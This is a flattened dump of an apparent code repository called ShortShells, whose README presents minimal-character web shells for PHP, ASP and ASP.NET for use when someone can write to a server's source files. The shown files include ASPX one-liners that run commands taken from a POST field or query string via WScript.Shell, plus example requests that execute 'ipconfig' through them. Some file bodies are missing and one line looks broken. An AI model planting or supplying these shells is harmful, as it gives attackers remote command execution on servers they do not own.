├── README.md ├── ss-xor.php ├── ss.asp ├── ss.aspx ├── ss.php ├── ss_get.asp └── ss_get.aspx /README.md: -------------------------------------------------------------------------------- 1 | ShortShells 2 | =========== 3 | 4 | Web shells for PHP/ASP/ASP.NET using the least number of characters 5 | 6 | Useful if you are able to write to a file source code file, but are restricted on character limit. 7 | -------------------------------------------------------------------------------- /ss-xor.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Send the following POST request in order to send your command 4 | 5 | POST /ss.asp? HTTP/1.1 6 | Host: 127.0.0.1 7 | Content-type: application/x-www-form-urlencoded 8 | Content-Length: 83 9 | 10 | a=Response.Write(CreateObject("WScript.Shell").exec("ipconfig").StdOut.ReadAll) 11 | 12 | -------------------------------------------------------------------------------- /ss.aspx: -------------------------------------------------------------------------------- 1 | <%=CreateObject("WScript.Shell").exec(Request.Form("a").trim).StdOut.ReadAll%> 2 | -------------------------------------------------------------------------------- /ss.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Send the following GET request in order to send your command 4 | 5 | ss_get.asp?a=Response.Write(CreateObject("WScript.Shell").exec("ipconfig").StdOut.ReadAll) 6 | -------------------------------------------------------------------------------- /ss_get.aspx: -------------------------------------------------------------------------------- 1 | <%=CreateObject("WScript.Shell").exec(Request.Request.QueryString("a").trim).StdOut.ReadAll%> 2 | --------------------------------------------------------------------------------